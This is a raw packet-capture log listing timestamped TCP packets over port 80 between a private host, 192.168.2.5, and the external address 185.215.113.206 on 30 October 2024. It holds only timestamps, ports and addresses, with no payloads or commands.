Oct 30, 2024 18:06:19.683942080 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.684041977 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.684061050 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.684071064 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.684082985 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.684084892 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.684097052 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.684102058 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.684148073 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.708949089 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.709002018 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.709006071 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.709019899 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.709053993 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.709053993 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.709146023 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.709158897 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.709168911 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.709180117 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.709197998 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.709225893 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.749123096 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.749138117 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.749186993 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.749227047 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.749239922 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.749253988 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.749275923 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.749289989 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.749533892 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.749546051 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.749558926 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.749572039 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.749588013 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.749592066 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.749598026 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.749614000 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.749628067 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.753890991 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.753933907 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.753936052 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.753947020 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.753968954 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.753982067 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.754053116 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.754065037 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.754076004 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.754087925 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.754103899 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.754236937 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.754249096 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.754260063 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.754283905 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.754307032 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.754453897 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.754472017 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.754483938 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.754497051 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.754522085 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.754653931 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.754667044 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.754697084 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.754729033 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.785476923 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.785520077 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.785532951 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.785571098 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.785595894 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.785614014 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.785653114 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.799284935 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.799340010 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.799350977 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.799360991 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.799420118 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.799422979 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.799431086 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.799443007 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.799462080 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.799474001 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.799637079 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.799647093 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.799685955 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.799734116 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.799743891 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.799755096 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.799782038 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.799796104 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.799959898 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.799971104 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.799982071 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.799993992 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.800004959 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.800004959 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.800035000 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.800237894 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.800266981 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.800278902 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.800302982 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.800477982 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.800489902 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.800523996 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.800622940 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.800668001 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.800694942 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.800712109 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.800724030 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.800734997 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.800734997 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.800745964 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.800746918 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.800759077 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.800767899 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.800769091 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.800791979 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.800807953 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.801074028 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.801084042 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.801116943 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.801214933 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.801225901 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.801263094 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.826121092 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.826136112 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.826178074 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.826421022 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.826431990 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.826442957 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.826466084 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.826479912 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.866071939 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.866106987 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.866131067 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.866147041 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.866157055 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.866190910 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.866261959 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.866274118 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.866306067 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.866416931 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.866429090 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.866467953 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.866565943 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.866576910 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.866616011 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.870809078 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.870888948 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.870980024 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.870991945 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.871002913 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.871037006 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.871057034 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.871072054 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.871084929 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.871094942 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.871115923 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.871131897 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.871264935 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.871275902 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.871287107 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.871310949 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.871330976 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.871498108 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.871510029 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.871520042 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.871546984 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.871562004 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.871654987 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.871695042 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.902689934 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.902717113 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.902729034 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.902801991 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.902852058 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.916429996 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.916441917 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.916454077 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.916544914 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.916548967 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.916569948 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.916589022 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.916610003 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.916723967 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.916734934 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.916744947 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.916757107 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.916769028 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.916795969 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.917011976 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.917022943 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.917062044 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.917088985 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.917102098 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.917129040 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.917150021 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.917272091 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.917284012 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.917299986 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.917319059 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.917339087 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.917464972 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.917507887 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.917546034 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.917557955 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.917592049 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.917773962 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.917784929 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.917797089 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.917809963 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.917819977 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.917834044 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.917861938 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.918077946 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.918088913 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.918098927 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.918111086 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.918123960 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.918126106 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.918137074 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.918150902 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.918169022 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.942998886 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.943094015 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.943108082 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.943142891 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.943192959 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.943226099 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.943254948 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.943265915 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.943279028 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.943316936 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.983181953 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.983242989 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.983254910 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.983266115 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.983294010 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.983366966 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.983408928 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.983549118 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.983560085 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.983571053 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.983582973 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.983591080 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.983601093 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.983630896 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.983644009 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.983813047 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.983853102 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.987678051 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.987726927 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.987732887 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.987737894 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.987751961 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.987761021 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.987777948 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.987793922 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.987802982 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.987814903 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.987826109 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.987848043 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.987875938 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.988053083 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.988065958 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.988104105 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.988220930 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.988250971 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.988279104 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.988291979 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.988399029 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.988409996 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.988421917 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.988437891 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.988450050 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:19.988478899 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.988478899 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:19.988478899 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.019694090 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.019716978 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.019726992 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.019752026 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.019812107 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.019998074 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.033555031 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.033629894 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.033648014 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.033675909 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.033688068 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.033719063 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.033740997 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.033752918 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.033775091 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.033795118 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.033812046 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.033850908 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.033859968 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.033904076 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.033922911 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.033934116 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.033946037 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.033967972 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.033986092 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.034162045 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.034173012 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.034183025 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.034194946 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.034205914 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.034208059 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.034218073 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.034229994 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.034235954 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.034257889 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.034257889 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.034482956 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.034528017 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.034547091 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.034559965 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.034586906 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.034606934 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.034744024 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.034761906 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.034774065 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.034784079 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.034785986 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.034796953 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.034801960 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.034811020 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.034821033 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.034857988 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.035007000 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.035018921 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.035064936 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.035115004 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.035128117 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.035139084 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.035167933 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.035180092 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:20.059902906 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.059915066 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.059927940 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:20.059940100 CET	80	49704	185.215.113.206	192.168.2.5
